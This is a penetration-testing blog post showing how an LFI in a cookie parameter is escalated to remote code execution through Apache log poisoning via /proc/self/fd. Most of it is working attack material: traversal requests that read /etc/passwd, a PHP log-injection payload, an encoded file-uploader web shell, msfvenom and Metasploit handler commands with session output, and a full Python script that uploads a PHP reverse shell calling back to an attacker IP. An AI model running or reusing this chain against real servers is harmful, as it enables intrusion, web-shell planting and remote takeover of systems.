Introduction
At this blog post we will discuss an interesting exploitation method, by abusing the /proc/self/stat directory. This method involves both misconfiguration as well as input validation issues. Every process can access its available information by requesting the /proc/self directory. In a nutshell, when a process is created and has an open file handler then a file descriptor will point to that requested file. As Apache is requesting this file (via the LFI vulnerability) and since the file is located inside Apache’s proc directory, we can use /proc/self
instead of searching for Apache’s PID. Linux holds a separate directory to store those “pseudo-files”. Supposing that we execute requests originated from Apache - via the LFI - we can find this directory under /proc/self/fd/. The contents of this directory are symbolic links pointing to the actual file of the process’ open file handlers. During the attack we dont know which symbolic link points to which file. Moreover, the file we are interested in is the Apache access log. We choose this file because it is dynamic and can be changed based on our input.
Bug Detection and Exploitation
While performing a penetration testing assessment i got in front of a login page of a custom web application. Searching for low hanging fruits i managed to find a kind of critical issue on the target application. Specifically I found an interesting unauthenticated LFI vulnerability that has been identified at the user parameter in the Cookie HTTP header. The user parameter was not present at the Cookie header when browsing the login page but its existence has been identified through source code review at the backend server. For privacy reasons the vulnerable code cannot be exposed.
The following HTTP request / response pair depicts the issue
HTTP Request :
GET /listings.php HTTP/1.1
Host: 192.168.201.3
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=6b82a05ec984697da862a3b2acf884c4; user=../../../../../etc/passwd%00
Connection: close
HTTP Response :
HTTP/1.1 200 OK
Date: Sat, 26 Dec 2020 21:18:10 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 2349
[....]
<pre>root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:102:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
</pre></p></div>
</body>
</html>
Moving further, we have sent an HTTP request in order to see if we can read the /proc/self/stat
file. As seen at the following request / response pair we indeed have access at the /proc/self/stat
file
HTTP Request :
GET /listings.php HTTP/1.1
Host: 192.168.201.3
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=6b82a05ec984697da862a3b2acf884c4; user=../../../../../proc/self/stat%00
Connection: close
HTTP Response :
HTTP/1.1 200 OK
Date: Sat, 26 Dec 2020 21:18:10 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 977
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<html>
[....]
<p><pre>6642 (httpd) R 6637 6637 6637 0 -1 4202816 3753497 0 0 0 687 2347 0 0 15 0 1 0 427860 18386944 1978 4294967295 7602176 7912312 3217351552 3217335172 6571010 0 0 16781312 201344619 0 0 0 17 0 0 0 0
</pre></p></div>
</body>
</html>
As we see above in the HTTP response, we have the parent and the child process ID of the httpd process. Note that the child pid is changing in every HTTP request because it is a forked process from the parent process. An example of the stracture of the /proc/[pid]/stat file can be seen below
pid : 6642 ----> this is the child process id ( this changes in every request ) tcomm: (httpd) state: R ppid: 6637 ----> this is the parent process ID ( e.g. the httpd process ) pgid: 6637 sid: 6637 tty_nr: 0 tty_pgrp: -1 flags: 4202816 min_flt: 3753497 cmin_flt: 282132 maj_flt: 0 cmaj_flt: 0 utime: 0 stime: 687 cutime: 2347 cstime: 0 priority: 0 nice: 15 num_threads: 0 it_real_value: 1 start_time: 0 vsize: 427860 rss: 18386944 rsslim: 427860 start_code: 18386944 end_code: 1978 start_stack: 4294967295 esp: 7602176 eip: 7912312 pending: 000000007912312 blocked: 000003217351552 sigign: 000003217335172 sigcatch: 000000006571010 wchan: 0 zero1: 0 zero2: 16781312 exit_signal: 201344619 cpu: 0 rt_priority: 0 policy: 0
At this point we use the child process ID from the /proc/self/stat
file in order to identify the file descriptor which is related with the apache log file. Furthermore, using the BurpSuite interceptor, and more specifically the repeater tool, we realized that we need to repeat the request multiple times in order to have a chance to read the contents of the file representing a specific file descriptor which is linked with the apache log file.
We will start brute forcing to see if we can read the file descriptors, lets say from 0 to 15. Moreover, one of these file descriptors could probably hold the httpd logs.
The following python script has been used in order to find the file descriptor we wanted. This script will show the length of the HTTP responses. As said before, we might need multiple requests in order to achieve reading the contents of the file at /proc/6642/fd
directory that is linked with the Apache log file. Also, we must take into consideration that the application for some reason does not have a logout button yet, thus the session ID is valid until the user clears the browser's cache.
import requests
target = "192.168.201.3"
port = "2425"
PHPSESSID="6b82a05ec984697da862a3b2acf884c4" # here put a valid session ID
pid="6642"
url = "http://"+target+"/listings.php"
headers = {"Cache-Control": "max-age=0", \
"Upgrade-Insecure-Requests": "1", "User-Agent": \
"<?$com=base64_decode($_GET['cmd']);$file=fopen('./comments/yo.php','w'); \
fwrite($file,$com);fclose($file);phpinfo();?>", \
"Accept": \
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/ \
signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, \
deflate", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", \
"Cookie": "PHPSESSID="+PHPSESSID+"; user=../../../../../proc/"+pid+"/fd/9%00", \
"Connection": "close"}
for i in range (10):
response = requests.get(url, headers=headers)
cont = response.content
print (len(cont))
print ("")
After executing the script above, we see the following response
root@kali:/home/kali/Desktop# python3 bruteforcer.py 781 781 781 781 781 781 781 5247076 781 781
As we see above, at the eighth request, the response returned the content length of 5247076, which indicates that we might read the right file which is the file with number 9. As we see below the HTTP request/response pair shows the httpd logs contained inside the file /proc/6642/fd/9
HTTP Request :
GET /listings.php HTTP/1.1
Host: 192.168.201.3
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=6b82a05ec984697da862a3b2acf884c4; user=../../../../../proc/6642/fd/9%00
Connection: close
HTTP Response :
HTTP/1.1 200 OK
Date: Sun, 27 Dec 2020 00:31:43 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4970344
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
<title>Listings</title>
</head>
[.....]
<p><h3><strong>Welcome ../../../../../proc/6642/fd/9%00</strong></h3></p><p><h3>This is your personal space, you can post your comments and list your monthly report:</h3></p><p><pre>192.168.201.1 - - [26/Dec/2020:03:40:37 -0500] "GET /listings.php HTTP/1.1" 200 764 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
192.168.201.1 - - [26/Dec/2020:03:40:37 -0500] "GET /community.jpg HTTP/1.1" 404 286 "http://192.168.201.3/listings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
192.168.201.1 - - [26/Dec/2020:03:40:37 -0500] "GET /listings.php HTTP/1.1" 200 764 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
192.168.201.1 - - [26/Dec/2020:03:40:37 -0500] "GET /community.jpg HTTP/1.1" 404 286 "http://192.168.201.3/listings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
192.168.201.1 - - [26/Dec/2020:03:40:37 -0500] "GET /listings.php HTTP/1.1" 200 764 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
As we look closely at the response above, we can realize that the /proc/6642/fd/9
file contains logs regarding the HTTP Agent header. This evidence explains that we might have the ability to inject php code inside the apache log file of the target server using the agent header. The code that will be injected to the apache log file is the following
<?php $data=base64_decode($_GET['cmd']);
$file=fopen('./comments/yolo.php','w');
fwrite($file,$data);fclose($file);phpinfo();?>
The above php script when executed will introduce a new url parameter called cmd
. Afterwards, an encoded php payload will be provided at the cmd
parameter, which will then be decoded at the server side and will also be written inside a file called yolo.php
. Afterwards the phpinfo()
will be invoked just to make sure the payload has been succesfully executed.
The following payload will be used as our file uploader on the server. This script will be provided in the newly introduced cmd
parameter in Base64
encoded form. Before we upload the payload on the server we must encode it using Base64
as well as URL encoding
<form enctype="multipart/form-data" action="yolo.php" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="512000"/> Upload file: <input name="userfile" type="file" /><input type="submit" value="Send File" /></form><?php $uploadfile = basename($_FILES['userfile']['name']);echo "<p>";if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)){echo "File is valid, and was successfully uploaded.\n";}else {echo "Upload failed";}echo "</p>";echo '<pre>';echo 'Here is some more debugging info:';print_r($_FILES);print "</pre>";?>
The following python script used to Base64
and URL encode the payload above
import base64 import urllib encoded = base64.b64encode('<form enctype="multipart/form-data" action="yolo.php" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="512000"/> Upload file: <input name="userfile" type="file" /><input type="submit" value="Send File" /></form><?php $uploadfile = basename($_FILES[\'userfile\'][\'name\']);echo "<p>";if(move_uploaded_file($_FILES[\'userfile\'][\'tmp_name\'], $uploadfile)){echo "File is valid, and was successfully uploaded.\n";}else {echo "Upload failed";}echo "</p>";echo \'<pre>\';echo \'Here is some more debugging info:\';print_r($_FILES);print "</pre>";?>') print(urllib.quote(encoded))
Then the encoded payload will be as follows
PGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSJ5by5waHAiIG1ldGhvZD0 iUE9TVCI%2BPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iTUFYX0ZJTEVfU0laRSIgdmFsdWU9IjUx MjAwMCIvPiBVcGxvYWQgZmlsZTogPGlucHV0IG5hbWU9InVzZXJmaWxlIiB0eXBlPSJmaWxlIiAvPjx pbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTZW5kIEZpbGUiIC8%2BPC9mb3JtPjw/cGhwICR1cGxv YWRmaWxlID0gYmFzZW5hbWUoJF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddKTtlY2hvICI8cD4iO2l mKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2 FkZmlsZSkpe2VjaG8gIkZpbGUgaXMgdmFsaWQsIGFuZCB3YXMgc3VjY2Vzc2Z1bGx5IHVwbG9hZGVkL goiO31lbHNlIHtlY2hvICJVcGxvYWQgZmFpbGVkIjt9ZWNobyAiPC9wPiI7ZWNobyAnPHByZT4nO2Vj aG8gJ0hlcmUgaXMgc29tZSBtb3JlIGRlYnVnZ2luZyBpbmZvOic7cHJpbnRfcigkX0ZJTEVTKTtwcml udCAiPC9wcmU%2BIjs/Pg%3D%3D
Now its time to test all the above. The following request / response pair shows the succesfull exploitation of the LFI vulnerability. The file yolo.php
will be uploaded on the server
HTTP Request
GET /listings.php?cmd=PGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSJ5b2x vLnBocCIgbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJNQVhfRklMRV9TSVpFIiB2 YWx1ZT0iNTEyMDAwIi8%2BIFVwbG9hZCBmaWxlOiA8aW5wdXQgbmFtZT0idXNlcmZpbGUiIHR5cGU9ImZpbGU iIC8%2BPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlbmQgRmlsZSIgLz48L2Zvcm0%2BPD9waHAgJHVw bG9hZGZpbGUgPSBiYXNlbmFtZSgkX0ZJTEVTWyd1cVyZmlsZSddWyduYW1lJ10pO2VjaG8gIjxwPiI7aWYobW 92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10sICR1cGxvYWRmaWxlKSl ZWNobyAiRmlsZSBpcyB2YWxpZCwgYW5kIHdhcyBzdWNjZXNzZnVsbHkgdXBsb2FkZWQuCiI7fWVsc2Uge2Vja G8gIlVwbG9hZCBmYWlsZWQiO31lY2hvICI8L3A%2BIjtlY2hvICc8cHJlPic7ZWNobyAnSGVyZSBpcyBzb21l IG1vcmUgZGVidWdnaW5nIGluZm86JztwcmludF9yKCRfRklMRVMpO3ByaW50ICI8L3ByZT4iOz8%2B HTTP/1.1 Host: 192.168.201.3 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: PHPSESSID=8010e458940960ea1b44e7c5cca8c4ba; user=../../../../../proc/3272/fd/9%00 Connection: close
HTTP Response :
HTTP/1.1 200 OK Date: Sun, 27 Dec 2020 14:29:07 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 781 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <html> [.....] </strong></h3></p><p><h3>This is your personal space, you can post your comments and list your monthly report:</h3></p><p><pre>192.168.201.1 - - [27/Dec/2020:06:38:28 -0500] "GET /community.jpg HTTP/1.1" 404 286 "http://192.168.201.3/listings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" 192.168.201.1 - - [27/Dec/2020:06:38:35 -0500] "GET / HTTP/1.1" 302 1421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" 192.168.201.1 - - [27/Dec/2020:06:38:35 -0500] "GET /listings.php HTTP/1.1" 200 680 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" 192.168.201.1 - - [27/Dec/2020:06:38:35 -0500] "GET /community.jpg HTTP/1.1" 404 286 "http://192.168.201.3/listings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" 192.168.201.1 - - [27/Dec/2020:06:39:17 -0500] "GET /listings.php HTTP/1.1" 200 973 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" 192.168.201.1 - - [27/Dec/2020:06:40:35 -0500] "GET / HTTP/1.1" 200 1421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" [.....] 192.168.201.1 - - [27/Dec/2020:09:29:05 -0500] "GET /listings.php?cmd=PGZvcm0gZ W5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSJ5b2xvLnBocCIgbWV0aG9kPSJQT1NU Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJNQVhfRklMRV9TSVpFIiB2YWx1ZT0iNTEyMDAwIi8 %2BIFVwbG9hZCBmaWxlOiA8aW5wdXQgbmFtZT0idXNlcmZpbGUiIHR5cGU9ImZpbGUiIC8%2BPGlucH V0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlbmQgRmlsZSIgLz48L2Zvcm0%2BPD9waHAgJHVwbG9hZGZ pbGUgPSBiYXNlbmFtZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyduYW1lJ10pO2VjaG8gIjxwPiI7aWYobW 92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10sICR1cGxvYWRma WxlKSl7ZWNobyAiRmlsZSBpcyB2YWxpZCwgYW5kIHdhcyBzdWNjZXNzZnVsbHkgdXBsb2FkZWQuCiI7 fWVsc2Uge2VjaG8gIlVwbG9hZCBmYWlsZWQiO31lY2hvICI8L3A%2BIjtlY2hvICc8cHJlPic7ZWNob yAnSGVyZSBpcyBzb21lIG1vcmUgZGVidWdnaW5nIGluZm86JztwcmludF9yKCRfRklMRVMpO3ByaW50 ICI8L3ByZT4iOz8%2B HTTP/1.1" 200 781 "-" "<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd"> [......] HTTP_USER_AGENT </td><td class="v"><?php $data=base64_decode($_GET['cmd']);$file=fopen('./comments/yolo.php','w');fwrite($file,$data);fclose($file);phpinfo();?> </td></tr> [.......]
Then we can execute the file uploader using the following URL
http://192.168.201.3/comments/yolo.php
the following screenshot shows the file uploader
Now that everything is set up, we are ready to create our final reverse tcp php payload and upload it on the server. The following command will be used in order to generate our php tcp reverse payload
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=443 -f raw > rev.php
Now that the payload is ready we will use the new uploader in order to upload the payload on the server.
Then we will run a metasploit multi / handler in order to run our meterpreter listener. First we will create the handler.rc
file as follows
use multi/handler set LHOST 192.168.201.7 set LPORT 443 set payload php/meterpreter_reverse_tcp set ExitOnSession false exploit -j -z
Then we will run the script above and the listener will be ready to accept connections as shown below
root@kali:/home/kali/Desktop# msfconsole -q -r handler.rc [*] Processing handler.rc for ERB directives. resource (handler.rc)> use multi/handler [*] Using configured payload generic/shell_reverse_tcp resource (handler.rc)> set LHOST 192.168.201.7 LHOST => 192.168.201.7 resource (handler.rc)> set LPORT 443 LPORT => 443 resource (handler.rc)> set payload php/meterpreter_reverse_tcp payload => php/meterpreter_reverse_tcp resource (handler.rc)> set ExitOnSession false ExitOnSession => false resource (handler.rc)> exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.201.7:443 msf6 exploit(multi/handler) >
After executing the rev.php
shell we will have a reverse tcp connection as follows
root@kali:/home/kali/Desktop# msfconsole -q -r handler.rc [*] Processing handler.rc for ERB directives. resource (handler.rc)> use multi/handler [*] Using configured payload generic/shell_reverse_tcp resource (handler.rc)> set LHOST 192.168.201.7 LHOST => 192.168.201.7 resource (handler.rc)> set LPORT 443 LPORT => 443 resource (handler.rc)> set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp resource (handler.rc)> set ExitOnSession false ExitOnSession => false resource (handler.rc)> exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.201.7:443 msf6 exploit(multi/handler) > [*] Sending stage (39282 bytes) to 192.168.201.3 [*] Meterpreter session 1 opened (192.168.201.7:443 -> 192.168.201.3:34320) at 2021-01-11 14:14:27 -0500 sess [-] Unknown command: sess. msf6 exploit(multi/handler) > msf6 exploit(multi/handler) > sessions -i Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter php/linux apache (48) @ xenofon 192.168.201.7:443 -> 192.168.201.3:34320 (192.168.201.3) msf6 exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell Process 4454 created. Channel 0 created. id uid=48(apache) gid=48(apache) groups=48(apache)
The following python script used in order to automate the exploitation of the LFI vulnerability. More specifically the script uploads the php uploader on the server and then also uploads the rev.php
file. Finally, it opens a multi/handler
in order to handle connections.
import sys import requests import random,string import os import time from bs4 import BeautifulSoup from requests_toolbelt import MultipartEncoder from threading import Timer _server = None _pid = None PHPSESSID="6b82a05ec984697da862a3b2acf884c4" def run_expl(): exploit() rce() def interactive_shell(lhost, port): print ("(+) Starting msfconsole handler") # wait for 25 sec before visiting shell t = Timer(25, run_the_revshell) # start thread activity t.start() msfconsole = 'msfconsole -q -x "use php/meterpreter/reverse_tcp; set lhost {server}; set lport {port}; exploit -z -j;"'.format(server=lhost, port=port) os.system(msfconsole) def rce(): interactive_shell("192.168.201.3", 443) def run_the_revshell(): session = requests.session() url = "http://"+_server+"/comments/rev.php" headers = {"Cache-Control": "max-age=0", \ "Upgrade-Insecure-Requests": "1", "User-Agent": \ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", \ "Accept": \ "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/ \ signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, \ deflate", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", \ "Cookie": "PHPSESSID="+PHPSESSID+"", \ "Connection": "close"} session.get(url, headers=headers) def self_stat(): session = requests.session() url = "http://"+_server+"/listings.php" headers = {"Cache-Control": "max-age=0", \ "Upgrade-Insecure-Requests": "1", "User-Agent": \ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", \ "Accept": \ "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/ \ signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, \ deflate", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", \ "Cookie": "PHPSESSID="+PHPSESSID+"; user=../../../../../proc/self/stat%00", \ "Connection": "close"} response = session.get(url, headers=headers,allow_redirects=False) soup = BeautifulSoup(response.text, 'html.parser') stat = soup.find('pre') fd = stat.string chunks = fd.split(' ') descriptor = chunks[0] return descriptor def exploit(): s1 = requests.Session() url = "http://"+_server+"/listings.php?cmd=PGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSJ5b2xvLnBocCIgbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJNQVhfRklMRV9TSVpFIiB2YWx1ZT0iNTEyMDAwIi8%2BIFVwbG9hZCBmaWxlOiA8aW5wdXQgbmFtZT0idXNlcmZpbGUiIHR5cGU9ImZpbGUiIC8%2BPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlbmQgRmlsZSIgLz48L2Zvcm0%2BPD9waHAgJHVwbG9hZGZpbGUgPSBiYXNlbmFtZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyduYW1lJ10pO2VjaG8gIjxwPiI7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10sICR1cGxvYWRmaWxlKSl7ZWNobyAiRmlsZSBpcyB2YWxpZCwgYW5kIHdhcyBzdWNjZXNzZnVsbHkgdXBsb2FkZWQuCiI7fWVsc2Uge2VjaG8gIlVwbG9hZCBmYWlsZWQiO31lY2hvICI8L3A%2BIjtlY2hvICc8cHJlPic7ZWNobyAnSGVyZSBpcyBzb21lIG1vcmUgZGVidWdnaW5nIGluZm86JztwcmludF9yKCRfRklMRVMpO3ByaW50ICI8L3ByZT4iOz8%2B" headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": \ "$data=base64_decode($_GET['cmd']);$file=fopen('./comments/yolo.php','w');fwrite($file,$data);fclose($file);phpinfo();?>", "Accept": "text/html,application/xhtml+xml,application/xml; \ q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange; \ v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", \ "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", \ "Cookie": "PHPSESSID="+PHPSESSID+"; user=../../../../../proc/"+_pid+"/fd/9%00", "Connection": "close"} for i in range (15): s1.get(url, headers=headers) fields = { 'userfile': ('rev.php', "/*<?php /**/ error_reporting(0); $ip = '192.168.201.3'; $port = 443; \ if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f(\"tcp://{$ip}:{$port}\"); $s_type = 'stream'; } \ if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } \ if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM,SOL_TCP); \ $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } \ if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } \ switch ($s_type) { case 'stream': $len = fread($s, 4); \ break; case 'socket': $len = socket_read($s, 4); break; } \ if (!$len) { die(); } $a = unpack(\"Nlen\", $len); $len = $a['len']; $b = ''; \ while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); \ break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } \ $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; \ if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) \ { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();", \ "text/php"),'file_id': "0" } boundary = '----WebKitFormBoundary' \ + ''.join(random.sample(string.ascii_letters + string.digits, 16)) m = MultipartEncoder(fields=fields, boundary=boundary) headers = { "Connection": "keep-alive", "Content-Type": m.content_type } s = requests.Session() s.post("http://"+_server+"/comments/yolo.php", headers=headers, data=m) if __name__ == '__main__': try: _server = sys.argv[1].strip() except IndexError: print ("[-] Usage: %s serverIP" % sys.argv[0]) sys.exit() _pid = self_stat() run_expl()
After executing the script above a successfull tcp reverse connection to the target machine is obtained. The following screenshot shows the successfull reverse shell connection leveraging the LFI vulnerability at the target application.